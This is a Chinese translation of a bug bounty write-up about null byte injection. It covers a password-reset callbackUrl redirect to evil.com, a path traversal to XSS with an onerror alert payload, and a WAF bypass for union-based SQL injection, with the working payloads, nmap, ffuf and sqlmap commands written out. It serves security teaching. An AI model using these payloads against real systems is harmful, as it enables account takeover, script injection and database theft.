Null 字节在漏洞挖掘中的妙用

admin 2024年11月12日15:05:54评论12 views字数 3223阅读10分44秒阅读模式

大家好,我是 0xold,一名渗透测试员,8 个月前开始了我的漏洞悬赏之旅。今天,我将分享几个我通过 Null 字节注入发现的漏洞,如果没有它们,这些漏洞将无法利用。我将把所有网站称为 company.com,因为我不能披露公司的名称。

什么是 Null 字节字符?

Null 字节,通常表示为 '�',是一个特殊字符,值为零。在编程中,它用于表示字符串或数据的结束。Null 字节注入涉及操纵这个字符以利用系统中的漏洞。

密码重置解析混淆

我正在测试这个 CDN 应用程序,并决定测试密码重置功能,发现了一个非常有趣的参数,叫做 callbackUrl。
Null 字节在漏洞挖掘中的妙用

img
当我尝试重置密码时,我试图在 URL 末尾附加 /test,并检查了我的电子邮件,得到了以下 URL:
https://company.com/auth/reset-password/test?code=blabla
所以我迅速尝试将 callbackUrl 中的域名更改为 evil.com,但不幸的是,得到了 400 Bad Request 状态代码。
Null 字节在漏洞挖掘中的妙用

img
我感到非常沮丧,但我决定花点时间在这个问题上,因为能够控制密码重置 callbackUrl 的某些部分对我来说是一个红旗。
以下是我尝试的一些载荷
http://[email protected]/auth/reset-password
http://evil.com%[email protected]/auth/reset-password
http://[email protected]/auth/reset-password
http://[email protected]/auth/reset-password
http://evil.com#@company.net/auth/reset-password
以及更多,它们都返回了 400 状态代码。然后我想到了尝试 null 字节注入,但由于这是一个 JSON 请求,我不能直接插入常规的 URL 编码 %00,所以我做了一些研究,阅读了 JSON RFC,并发现我可以使用 u 序列插入 Unicode 字符。
Null 字节在漏洞挖掘中的妙用

img
一个仅包含单个反斜杠字符的字符串可以表示为 u005C
在这种情况下,URL Null 字节字符 %00 的 Unicode 等效字符是 u0000。
所以我尝试了这个载荷:
https://[email protected]
Null 字节在漏洞挖掘中的妙用

img
Null 字节在漏洞挖掘中的妙用

img
结果奏效了!

路径遍历到 XSS

在这个应用程序中,我使用参数挖掘工具进行模糊测试,寻找一些隐藏的参数。参数挖掘工具返回了一个引起我注意的参数,叫做 templatename。我迅速用 templatename=0xold 的值发出了请求,并检查了服务器的响应。
Null 字节在漏洞挖掘中的妙用

img
遇到了 500 内部错误,这表明后端存在服务器端问题。我最初的假设是服务器尝试包含名为 “0xold” 的文件,但尝试失败,导致了 500 错误——这暗示着潜在的本地文件包含(LFI)漏洞。在继续之前,我决定调查一下网站运行的操作系统,然后再尝试注入任何载荷。
我运行了以下命令来识别操作系统:
nmap -A Company.com
Null 字节在漏洞挖掘中的妙用

img
所以现在我们知道网站运行在 Windows 上,我们可以继续注入 LFI Windows 载荷。
我开始注入一些载荷,例如:
login.asp
logout.asp
../login.asp
..login.asp
….//login.asp
….//login.asp%00
….login.asp
../../windowswin.ini
....windowswin.ini
和数百个其他载荷,我甚至从 seclist 仓库运行了 json-haddix 的 LFI 字典,但没有一个有效,所有结果都返回了 500 状态代码。我决定休息一下,仔细想想。然后我想到,开发人员可能在做某种白名单处理,如果 templatename 参数不在白名单中就返回 500 状态错误。为了验证我的理论,我决定使用工具 Cewl 来生成一个自定义字典。

什么是 Cewl

CeWL(自定义字典生成器)是一个 Ruby 应用程序,可以爬取给定 URL,直到指定深度,并返回一个单词列表,这些单词可以用于密码破解器,例如 John the Ripper。可选地,Cewl 可以跟随外部链接。
我运行了以下命令来生成字典:
cewl ‘https://company.net’ > wordlist
然后
ffuf -c -w wordlist -u ‘https://company.net/login.asp?templatename=FUZZ’ -mc all -fc 500
返回的其中一个值返回了 200 OK 状态代码!这竟然是公司的名称!
Null 字节在漏洞挖掘中的妙用

img
Null 字节在漏洞挖掘中的妙用

img
该参数值在 HTTP 响应中被反映出来,所以我决定尝试注入一些 XSS,但任何不等于公司名称的内容仍会返回 500 状态代码。我们该如何利用这个漏洞呢?也许可以使用 ../ 序列?于是我在 templatename 参数中注入了以下值并检查了响应:
company.com/0xoldSaysHi/../
Null 字节在漏洞挖掘中的妙用

img
太棒了!它成功了!现在让我们尝试注入一些 XSS。
我注入了这个简单的有效载荷,看看我是否可以逃逸HTML:
company/0xoldSaysHi”>/../
Null 字节在漏洞挖掘中的妙用

img
我成功地注入了双引号字符,但出于某种原因,> 字符没有被反映出来,所以我尝试在 > 字符后面注入一个 null 字节字符,看看会发生什么:
company/0xoldSaysHi”>%00/../
Null 字节在漏洞挖掘中的妙用

img
成功了!现在让我们快速弹出一个警报:
company/0xoldSaysHi”%00><%00img+src=x+onerror=alert(1337)%00>/../
Null 字节在漏洞挖掘中的妙用

img

通过 Null Byte 注入绕过内部 WAF

我正在测试这个应用程序的 SQL 注入,在 error_category 参数中输入一个常规的单引号('),网站返回了一个数据库错误,这表明它容易受到 SQL 注入攻击。太好了!我会保存这个请求,然后运行 sqlmap,让它完成所有繁重的工作。
Null 字节在漏洞挖掘中的妙用

img
将请求保存到名为 r 的文件后,我运行了以下命令:
python3 sqlmap.py -r r --batch --dbs --random-agent
Null 字节在漏洞挖掘中的妙用

img
不久之后,sqlmap 返回了连接超时,我最初认为应用程序无法处理 sqlmap 发送的请求数量,因此崩溃了。我使用 curl 进行了简单的测试,结果返回连接失败。但是从我的电脑上进行访问则正常,Hmm,可能存在某种内部 WAF?我决定手动进行攻击,因为这是一种基于错误的 SQL 注入,所以没什么大不了的。
我尝试了一个简单的联合查询:
UNION+SELECT+1337 -- -
服务器在处理时挂起,于是我将查询更改为:
UNION/**/SELECT+1337
但仍然挂起。我尝试将值更改为:
test+test+1337 -- -
这时返回了数据库错误。经过一番试探,我最终弄清楚了他们内部 WAF 的工作原理。WAF 会解析 HTTP 请求,如果发现恶意查询,它就会挂起;如果我连续提交 3 个请求并导致其挂起,它将会封锁我的 IP。
Null 字节在漏洞挖掘中的妙用

img
我尝试在每个 MySQL 关键字之间注入 null 字节,以迷惑他们的 WAF,结果成功了。之后,我获取了数据库名称,并注入了以下有效负载以获取 AdminDB 数据库中的所有表:
f’+/**/UNION+%00seLecT+%00TABLE_NAME,TABLE_schema,NULL,NULL,NULL,NULL+FROM+%00INFORMATION_SCHEMA.tables+WHERE+table_schema=’AdminDB’%23
通过这种方式,我能够绕过 WAF,并成功检索到目标数据库的表名。
Null 字节在漏洞挖掘中的妙用

img
上内容由白帽子左一翻译并整。原文:https://medium.com/@0xold/null-byte-on-steroids-23f8104a25ec

原文始发于微信公众号(白帽子左一):Null 字节在漏洞挖掘中的妙用

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月12日15:05:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Null 字节在漏洞挖掘中的妙用http://cn-sec.com/archives/3388359.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息